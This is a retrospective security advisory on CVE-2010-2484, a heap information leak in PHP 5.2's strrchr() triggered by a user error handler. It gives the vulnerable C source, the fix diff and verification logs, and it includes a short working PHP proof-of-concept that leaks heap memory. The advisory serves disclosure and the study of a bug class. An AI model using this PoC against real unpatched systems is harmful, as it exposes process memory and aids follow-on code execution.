Summary

The strrchr() function in PHP 5.2’s standard library accepted its arguments as live zval ** pointers. It converted the needle argument after accepting a by-reference haystack. If the needle conversion raised a warning, a user-defined error handler could run in the middle of the C function and mutate the referenced haystack variable — for example by replacing the original string with an array via parse_str().

After the handler returned, strrchr() continued and read Z_STRVAL_PP(haystack) / Z_STRLEN_PP(haystack) from a zval that attacker code had just retyped. The subsequent backwards search read from stale or nonsensical heap state, yielding an information leak of adjacent heap content and, depending on layout, a memory-corruption primitive.

Affected

The verified strrchr() PoC affects PHP 5.2.x prior to 5.2.14. It reproduces on PHP 5.2.13 and does not reproduce on PHP 5.3.2 as written. PHP 5.3.2 remains relevant to the broader userspace-interruption family, especially CVE-2010-2191, but this exact strrchr() bug is a PHP 5.2 branch issue. Patched in 5.2.14, released 2010-07-22. Backport commit 01149527a9 by Felipe Pena, 2010-07-01.

Bug class

This vulnerability is a member of the userspace interruption class formalized by Stefan Esser in his Black Hat USA 2009 paper State of the Art Post Exploitation in Hardened PHP Environments and explored exhaustively in the Month of PHP Security 2010 campaign. The class encompasses any internal C function that:

  1. Caches a raw pointer derived from a parameter zval (typically via Z_STRVAL_P, Z_ARRVAL_P, or a hash-table bucket pointer);
  2. Invokes a code path that can transitively execute attacker-supplied PHP code — including error handlers, __toString, __destruct, __sleep, __wakeup, output buffering callbacks, comparison callbacks, or iterator methods;
  3. Continues to dereference the cached pointer after step 2, on the assumption that the underlying allocation has not changed.

The PHP team had patched the ZEND_CONCAT / ZEND_ASSIGN_CONCAT opcodes and several library functions (parse_str, preg_match, unpack, pack, ArrayObject::uasort) under CVE-2010-2191 in May 2010. This report identified strrchr() as a previously-unreported member of the same class.

Vulnerable code

ext/standard/string.c, PHP_FUNCTION(strrchr), prior to PHP 5.2.14:

PHP_FUNCTION(strrchr)
{
    zval **haystack, **needle;
    char *found = NULL;
    long found_offset;

    if (ZEND_NUM_ARGS() != 2 ||
        zend_get_parameters_ex(2, &haystack, &needle) == FAILURE) {
        WRONG_PARAM_COUNT;
    }

    convert_to_string_ex(haystack);   /* can call __toString() */

    if (Z_TYPE_PP(needle) == IS_STRING) {
        found = zend_memrchr(Z_STRVAL_PP(haystack),
                             *Z_STRVAL_PP(needle),
                             Z_STRLEN_PP(haystack));
    } else {
        convert_to_long_ex(needle);   /* user error handler can run here */
        found = zend_memrchr(Z_STRVAL_PP(haystack),     /* stale read */
                             (char) Z_LVAL_PP(needle),
                             Z_STRLEN_PP(haystack));
    }

    if (found) {
        found_offset = found - Z_STRVAL_PP(haystack);
        RETURN_STRINGL(found, Z_STRLEN_PP(haystack) - found_offset, 1);
    } else {
        RETURN_FALSE;
    }
}

In the original trigger, haystack is a string passed by reference and needle is an object. The call to convert_to_long_ex(needle) raises the warning Object of class stdClass could not be converted to int. A user-defined error handler runs before strrchr() resumes and can rebind the referenced haystack variable to another type. When control returns to C, the function still reads through the original haystack parameter pointer and calls zend_memrchr() using Z_STRVAL_PP(haystack) and Z_STRLEN_PP(haystack), even though the zval has been changed underneath it.

The result returned to the caller is not a slice of the original "AAAA..." string. On PHP 5.2.13 it is a string built from stale or reinterpreted heap state — typically bytes from allocator metadata, zvals, hash table buckets, or nearby PHP-managed allocations. This exposes internal heap layout and can defeat process-internal hardening assumptions needed for follow-on exploitation.

Patch

Commit 01149527a962c0b322d6b3b700375e8e96c3db4b:

--- a/ext/standard/string.c
+++ b/ext/standard/string.c
@@ -2116,6 +2116,9 @@ PHP_FUNCTION(strrchr)
                FAILURE) {
                WRONG_PARAM_COUNT;
        }
+       if (PZVAL_IS_REF(*haystack)) {
+               SEPARATE_ZVAL(haystack);
+       }
        convert_to_string_ex(haystack);

The remediation forces copy-on-write separation of the haystack zval when it is a reference, before any conversion can occur. After SEPARATE_ZVAL, the function holds an independent copy of the zval. User code running from an error handler during needle conversion can still modify the caller’s variable, but it no longer changes the zval that strrchr() continues to inspect.

The same release also patched the identical pattern, on internal audit, in the following functions: strchr() (alias for strstr), strstr(), substr(), chunk_split(), strtok(), addcslashes(), str_repeat(), and trim().

Fixed a possible interruption array leak in strrchr(). Reported by Péter Veres. (CVE-2010-2484)

— PHP 5.2.14 NEWS

Proof of concept

A minimal demonstration of the primitive on PHP 5.2 before 5.2.14:

<?php
$var = str_repeat("A", 128);

function error()
{
    global $var;
    parse_str("x=1", $var);
}

set_error_handler("error");
print strrchr(&$var, new stdclass);
restore_error_handler();
?>

The exploit primitive is an information leak: each successful invocation returns bytes from PHP-managed heap state rather than a valid substring of the original input. By varying the buffer size and surrounding allocations, an attacker can walk adjacent heap regions, defeat ASLR and refcount-based defenses, and stage memory-corruption follow-on exploits as documented in Esser’s BH USA 2009 paper.

The interruption primitive: cache a pointer, invoke user code, read freed memory strrchr() caches Z_STRVAL_PP error handler attacker code runs heap manager free + reuse buffer zend_memrchr reads freed memory convert needle $h = 0 UAF
Fig. 1The interruption primitive. The function accepts a referenced haystack, invokes attacker-controlled error-handler code during needle conversion, and then reads the mutated zval as if it were still the original string.

Verification

I rebuilt PHP 5.3.2 and PHP 5.2.13 from the original source tarballs and ran the PoC unchanged.

On PHP 5.3.2:

PHP 5.3.2 (cli)
Zend Engine v2.3.0

The exact PoC produced no output and exited normally. A diagnostic wrapper showed:

handler errno=8 msg=Object of class stdClass could not be converted to int before_type=string
handler after_type=array
final_var_type=array
bool(false)

Valgrind did not report an invalid or uninitialized read for the exact PoC on PHP 5.3.2. The source explains why: PHP 5.3.2’s strrchr() uses zend_parse_parameters("sz", &haystack, &haystack_len, &needle) and routes non-string needles through php_needle_char(). With new stdclass, object-to-int conversion fails and the function returns false before reaching zend_memrchr().

On PHP 5.2.13:

PHP 5.2.13 (cli)
Zend Engine v2.2.0

The same PoC returned non-input heap bytes. A diagnostic wrapper returned:

string(62) "\x01\x00\x00\x00..."

Valgrind confirmed the vulnerable path:

Conditional jump or move depends on uninitialised value(s)
    at zend_memrchr
    by zif_strrchr

Syscall param write(buf) points to uninitialised byte(s)

So the precise statement is: this strrchr() PoC verifies on PHP 5.2.x before 5.2.14, and does not verify on PHP 5.3.2 as written. PHP 5.3.2 is still affected by other userspace-interruption bugs covered by CVE-2010-2191, but not by this exact strrchr() trigger.

Impact

The vulnerability is exploitable by any actor capable of executing arbitrary PHP code in the target process — typically:

  • Untrusted user code running in a shared-hosting or managed-application context with disable_functions, open_basedir, safe_mode (PHP 5.2 era) intended to prevent process-internal data exfiltration.
  • A web application that evaluates partial user input through eval() or unserialize() paths reaching the vulnerable function.
  • A multi-tenant PaaS environment where one tenant’s PHP code is expected to be isolated from another’s.

In each case the primitive yields information leak across the intended security boundary, and — chained with a memory-corruption follow-on of the same bug class — full code execution at the PHP interpreter privilege level, defeating every PHP-side hardening control.

Disclosure timeline

  1. 2010-06-30Initial report — reported privately to the PHP security response team
  2. 2010-07-01Patch committed — commit 01149527a9 by Felipe Pena
  3. 2010-07-22Public release in PHP 5.2.14 — downstream vulnerability trackers also grouped nearby PHP 5.3.3 interruption fixes in the same release window
  4. 2010-07-22NIST NVD publication of CVE-2010-2484
  5. 2010-08-24Apple security update APPLE-SA-2010-08-24-1 (Mac OS X)
  6. 2010-08Mandriva advisory MDVSA-2010:139
  7. 2010-08Red Hat Bugzilla #619324 — downstream advisories for RHEL
  8. 2010-11-10Apple security update APPLE-SA-2010-11-10-1

Credits & references

Discovery and reporting: Péter Veres. Patch: Felipe Pena (PHP development team). Bug class formalization and prior art: Stefan Esser. Acknowledged by name in the official PHP 5.2.14 NEWS file. The strrchr report triggered an internal audit by the PHP development team that closed the same pattern in eight additional library functions in the same release.

This advisory is a retrospective formalization of a vulnerability disclosed and remediated in 2010. It is published for the historical record and as a reference for the userspace interruption bug class. No re-disclosure of unfixed material is contained herein.